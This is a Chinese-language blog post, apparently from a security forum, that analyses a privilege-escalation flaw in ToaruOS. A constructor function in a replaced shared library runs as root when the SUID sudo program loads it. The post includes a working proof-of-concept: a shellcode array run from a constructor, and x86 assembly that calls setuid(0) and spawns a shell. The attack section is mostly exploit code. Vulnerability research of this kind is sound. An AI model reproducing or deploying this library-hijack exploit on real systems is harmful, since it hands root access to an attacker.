之前分析过一个ToaruOS 操作系统提权的漏洞,感觉十分有意思,这里在分析一个利用ToaruOS llinker + sudo提权的漏洞

0x1 __attribute__介绍

__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)。__attribute__前后都有两个下划线,并且后面会紧跟一对原括弧,括弧里面是相应的__attribute 参数

__attribute__语法格式为:__attribute ( ( attribute-list ) )

若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。例如下面的程序:   

#include <stdio.h>
__attribute__((constructor)) void begin()
{
    printf("Constructor is called.\n");
}
__attribute__((destructor)) void after()
{
    printf("destructor is called.\n");
}
int main()
{
    printf("hello world\n");
    return 0;
}

输出

Constructor is called.
hello world
destructor is called.

0x2 ToaruOS动态链接问题

把下面的代码编译成动态链接库

#include <stdio.h>
__attribute__((constructor)) void begin()
{
    printf("hello world\n");
}
gcc -fPIC -shared so.c -o so.so

根据toaruos的编译过程我们知道fetch程序会动态链接toaru_hashmap库

./toaruos-1.10.9/.make/fetch.mak:   $(CC) $(CFLAGS)   -o $@ $< -ltoaru_hashmap -ltoaru_list

在ToaruOS里替换libtoaru_hashmap.so为我们上面编译的so程序,运行fetch 程序

fetch加载了我们的so文件,自动执行了constructor函数(图片第二行)。

如果有一个root权限的程序也加载了我们的so文件,我们就能以root权限执行任意代码,完成提权。这个程序就是sudo

0x3 sudo 程序

ToaruOS系统启动后加载各个程序,最后启动桌面程序,并赋权限为local。此后用户在桌面上执行的程序都由所有操作都是local权限。如果用户需要root权限怎么办,答案是依靠sudo程序。

sudo程序具有SUID权限,sudo程序在验证用户的密码之后setuid(0),赋予当前进程的权限为root,接下来fork出来的进程也就是root权限,就是sudo后边跟的参数。

根据sudo程序的编译过程我们知道,sudo 依赖于toaru_auth.so文件。

cat ./.make/sudo.mak 
base/bin/sudo: apps/sudo.c base/usr/include/toaru/auth.h util/auto-dep.py | base/lib/libtoaru_auth.so $(LC)
    $(CC) $(CFLAGS)   -o $@ $< -ltoaru_auth

接下来只要替换toaru_auth.so为我们的自己构造的toaru_auth.so文件,执行sudo程序我们就能以root权限执行任意代码,最后提权了。

最后poc.c

unsigned char shellcode[] = {
  0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
  0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
  0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
  0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
  0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58
};
__attribute__((constructor)) void mehness(void)
{
    ((void (*)(void))shellcode)();
}

payload

payload 在我上篇分析ToaruOS提权漏洞时讲过,这里直接复制过来。

在payload 首先执行setuid(0)设置当前进程权限,然后执行system(/bin/shh)返回shell。toaruOS通过int 0x7f调用系统函数,在syscall_nums.h中有系统调用号,setuid对应24,system对应7。

xor eax, eax
    add al, 24
    xor ebx, ebx
    int 0x7f
    jmp short end
start:
    pop ebx
    xor eax, eax
    mov [ebx+7], al
    mov [ebx+8], ebx
    mov [ebx+12], eax
    add al, 7
    lea ecx, [ebx+8]
    lea edx, [ebx+12]
    int 0x7f
    xor eax, eax
    int 0x7f
end:
    call start
db "/bin/shh"
db "XXXXXXXX"

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖